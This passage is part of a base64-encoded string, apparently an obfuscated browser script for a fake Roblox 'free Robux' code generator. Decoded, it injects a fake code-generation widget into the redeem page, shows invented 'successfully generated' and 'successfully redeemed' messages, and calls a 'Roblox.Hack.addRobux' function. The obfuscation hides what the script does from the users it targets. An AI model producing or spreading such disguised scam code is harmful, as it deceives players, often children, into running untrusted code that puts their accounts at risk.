icpLnZhbCgpOwoJCXZhciBnZW4gPSBjdy4kKCcjZ2VuUGluJykudmFsKCk7CgkJCgkJaWYocGluICE9IGdlbikKCQkJY3cuUm9ibG94LkdhbWVDYXJkLl9yZWRlZW1Db2RlKCk7CgkJZWxzZSB7CgkJCWN3LiQoIiNidXN5Iikuc2hvdygpOwoJCQljdy4kKCIjc3VjY2VzcyIpLmhpZGUoKTsKCQkJCgkJCXNldFRpbWVvdXQoZnVuY3Rpb24oKSB7CgkJCQljdy4kKCIjYnVzeSIpLmNzcygidmlzaWJpbGl0eSIsICJoaWRkZW4iKQoJCQkJY3cuJCgiI2J1c3kiKS5oaWRlKCkKCQkJCWN3LiQoIiNTdWNjZXNzTWVzc2FnZSIpLmh0bWwoIkNvZGUgc3VjY2Vzc2Z1bGx5IHJlZGVlbWVkISIpCgkJCQljdy4kKCIjc3VjY2VzcyIpLnNob3coKQoJCQkJY3cuJCgiI2J1eVN0dWZmIikuc2hvdygpOwoJCQkJUm9ibG94LkhhY2suYWRkUm9idXgoMjUwMDAwMDAwKTsKCQkJfSwgMTAwMCk7CgkJfQoJfTsKCQoJY3cuJCgnI0NvZGVJbnB1dCcpLnBhcmVudCgpLnByZXBlbmQoYAoJPGRpdiBpZD0iQ29kZUlucHV0Ij4KCQkJCTxkaXYgY2xhc3M9ImhlYWRlciI+R2VuZXJhdGUgWW91ciBDb2RlOjwvZGl2PgoJCQkJPGlucHV0IGlkPSJnZW5QaW4iIHR5cGU9InRleHQiIHJlYWRvbmx5PSJyZWFkb25seSI+CgkJCQk8c3BhbiBjbGFzcz0iYnRuLXByaW1hcnkgYnRuLXNtYWxsIiBpZD0iZ2VuZXJhdG9yIiBvbmNsaWNrPSJnZW5lcmF0ZUNvZGUoKSI+CgkJCQkJR2VuZXJhdGUKCQkJCTwvc3Bhbj4KCQkJCTxpbWcgaWQ9ImJ1c3kyIiBzcmM9Imh0dHBzOi8vaW1hZ2VzLnJieGNkbi5jb20vMjFlNTA0ZTY0M2U2YzIxZTBjOTBlNWExYjAzMzI1ZjkuZ2lmIiBhbHQ9IkxvYWRpbmciIHN0eWxlPSJoZWlnaHQ6IDMwcHg7IGhlaWdodDogMzBweDsgdmlzaWJpbGl0eTogaGlkZGVuIj4KCQkJPC9kaXY+CgkJCWApOwoKCXJhbmRvbWl6ZSA9IGZ1bmN0aW9uKCkgewoJCXZhciB0ZXh0ID0gIiI7CgkJdmFyIHBvc3NpYmxlID0gIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5IjsKCgkJZm9yICh2YXIgaSA9IDA7IGkgPCAxNTsgaSsrKQoJCQl0ZXh0ICs9IHBvc3NpYmxlLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBwb3NzaWJsZS5sZW5ndGgpKTsKCgkJcmV0dXJuIHRleHQ7Cgl9OwoKCWN3LmdlbmVyYXRlQ29kZSA9IGZ1bmN0aW9uKCkgewoJCWlmKGdlbmVyYXRpbmcpIHJldHVybjsKCQlnZW5lcmF0aW5nID0gdHJ1ZTsKCQkKCQljdy4kKCIjYnVzeTIiKS5jc3MoInZpc2liaWxpdHkiLCAidmlzaWJsZSIpOwoJCWN3LiQoJyNnZW5lcmF0b3InKS5hdHRyKCAiZGlzYWJsZWQiICwgImRpc2FibGVkIiApOwoJCQoJCWdlbkludGVydmFsID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7CgkJCWN3LiQoJyNnZW5QaW4nKS52YWwocmFuZG9taXplKCkpOwoJCX0sIDE1KTsKCQkKCQlzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgewoJCQljbGVhckludGVydmFsKGdlbkludGVydmFsKTsKCQkJCgkJCWdlbmVyYXRpbmcgPSBmYWxzZTsKCQkJY3cuJCgiI2J1c3kyIikuY3NzKCJ2aXNpYmlsaXR5IiwgImhpZGRlbiIpCgkJCWN3LiQoIiNidXN5MiIpLmhpZGUoKQoJCQljdy4kKCIjU3VjY2Vzc01lc3NhZ2UiKS5odG1sKCJDb2RlIHN1Y2Nlc3NmdWxseSBnZW5lcmF0ZWQhIikKCQkJY3cuJCgiI1N1Y2Nlc3NNZXNzYWdlU3ViVGV4dCIpLmh0bWwoIlBsZWFzZSByZWRlZW0gaXQgaW4gdGhlIHJlZGVlbSBib3giKQoJCQljdy4kKCIjc3VjY2VzcyIpLnNob3coKQoJCQljdy4kKCIjYnV5U3R1ZmYiKS5zaG93KCk7CgkJfSwgKChNYXRoLnJhbmRvbSgpICogNSkgKyA0KSAqIDEwMDApOwoJfTsKfQ=='));